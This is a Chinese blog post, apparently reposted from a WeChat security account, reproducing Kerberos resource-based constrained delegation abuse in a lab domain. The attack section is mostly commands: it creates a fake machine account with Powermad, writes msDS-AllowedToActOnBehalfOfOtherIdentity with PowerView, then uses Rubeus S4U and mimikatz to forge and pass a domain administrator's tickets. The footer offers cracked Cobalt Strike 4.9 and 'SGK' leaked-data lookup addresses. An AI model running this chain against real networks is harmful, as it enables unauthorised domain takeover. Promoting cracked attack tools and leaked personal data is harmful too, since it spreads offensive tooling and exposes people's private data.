早在之前看一篇名为 "烂番茄提权" 的文章的时候就想复现,后面一直没用成功。昨天在搞 ACL
的时候发现 kerberos
资源委派提权。一看,说的不就是这吗,捣鼓了一下写篇文章
介绍
利用用户的 ACL
(msDS-AllowedToActOnBehalfOfOtherIdentity
)属性配合 kerberos S4U
实现凭证伪造
(原文章没怎么说原理,烂番茄那篇说的有点复杂。我可能没有描述完整,甚至可能有错误),如果想深入了解原理可以看原文:
https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw
使用 msDS-AllowedToActOnBehalfOfOtherIdentity
属性实现 横向/提权
msDS-AllowedToActOnBehalfOfOtherIdentity
介绍:ms-DS
允许代表其他身份采取行动
利用要求:
目标DC是windows server 2012或以上
域用户拥有ACL GenericAll/GenericWrite/WriteProperty权限(使用目标域用户加入域的时候默认自带这些权限)
目标机器名称
域管理用户名称
测试环境
domain:YAYI.local
域管用户:yayis
ip:192.168.113.132 DC
ip:192.168.113.223 YYC (域内主机)
用到的工具:
powerview
Powermad
Rubeus
mimikatz
impacket工具套件
复现过程
首先进行 ACL
权限检测,当前域用户是否有权限创建新的计算机。能利用的 ACL
为:(GenericAll/GenericWrite/WriteProperty)
import-Module Powerview.ps1
Get-ObjectAcl -SamAccountName "YYC" -ResolveGUIDs | out-file save.txt #搜索自己的UID和搜索关键字GenericAll/GenericWrite/WriteProperty
拥有其中一个 ACL
权限即可
获取域控名称和 ip
(确定域控版本和系统)
Get-DomainController
查询一个域用户最多可以创建多少台计算机
Get-DomainObject -Identity "dc=YAYI,dc=local" -Domain YAYI.local
查询目标机的 msds-allowedtoactonbehalfofotheridentity
是否被写入
Get-NetComputer YYC | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
创建一个计算机用户
import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose #新建一个计算机账户,密码为123456。
查询新创建的计算机用户的 SID
Get-DomainComputer fake01
SID:S-1-5-21-2210433587-4071140994-1849857373-1122
为 FAKE01
计算机主体创建一个新的原始安全描述符
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
(实验的时候打错 SID
了就不贴图了)
修改目标计算机 SID
Get-DomainComputer YYC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
忘记截图了,拿文章的图代替一下。。
提醒-我们之所以能够这样写,是因为 Account Operators
于安全组进 YAYIAccount Operators
,尽管唯一重要的/足够的是写权限,但它可以完全控制目标计算机 YYC$
(原文写的是 Operations
用户,不过我找不到这个。到找到了 Account Operations
)
自己实现时找到的
一旦 msds
允许作为其他身份被设置,它在这里是可见的
同样的道理也可以这样看
Get-DomainComputer YYC -Properties 'msds-allowedtoactonbehalfofotheridentity'
配置 FAKE01
的机器绑定到 YYC
的机器
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2210433587-4071140994-1849857373-1122)" #这里的SID为新加的计算机账户的SID
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer YYC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
获取 hash
.Rubeus.exe hash /password:123456 /user:fake01 /domain:YAYI.local
RC4 hash:32ED87BDB5FDC5E9CBA88547376818D4
伪造域管理员的凭证导入 (这个凭证只能在 YYC
上使用)
.Rubeus.exe s4u /user:fake01$ /domain:YAYI.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:yayis /msdsspn:host/YYC /altservice:cifs,host /ptt #导入cifs和host的票据,不导入host票据无法正常使用spexec ?(host票据包含cifs票据)
如果要在别的机子上使用 kerberos
的凭证,则需要 impacket
的 pyGet.py
或者 mimikatz
导出 ccache
mimikatz.exe "kerberos::list /export" "exit"
导入凭证利用,可以使用 mimikatz
或者 set
命令
mimikatz "kerberos::ptc yayis.ccache" "exit"
使用set命令,set KRB5CCNAME=yayis.ccache
其实后面还有一点,这个复现的不是很成功。后面的内容有点乱,写出来容易搞混,就不写了
上面提到的 ACL
一台机器使用域用户连接 DC
的时候就已经把 ACL
设置留下来了。我觉得使用 powerview
对着每台机器查有权限控制这台机器的 SID
,可以横着走。(纯属理论,实际上有待测验)
参考链接
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object
https://xz.aliyun.com/t/7454
关注公众号后台回复 0001
领取域渗透思维导图,0002
领取VMware 17永久激活码,0003
获取SGK地址,0004
获取在线ChatGPT地址,0005
获取 Windows10渗透集成环境,0006
获取 CobaltStrike 4.9破解版
加我微信好友,邀请你进交流群
往期推荐
对某金融App的加解密hook+rpc+绕过SSLPinning抓包
疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击
Fofa新产品 - 绕CDN溯源真实IP!
Cobalt Strike 4.8 正式发布上线!
团队在线Windows进程识别正式内测
突发!微信疑似存在RCE
Confluence CVE-2023-22515漏洞复现
COM接口学习与利用
域渗透之NTLM Relay
Kerberos Bronze Bit Attack 绕过约束/资源委派限制
日常记录对某站点的实战渗透
Java审计之CMS中的那些反序列化漏洞
D-Link DAP-X1860:远程命令注入
备用号,欢迎关注
原文始发于微信公众号(刨洞安全团队):资源委派 (提权/横向移动)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论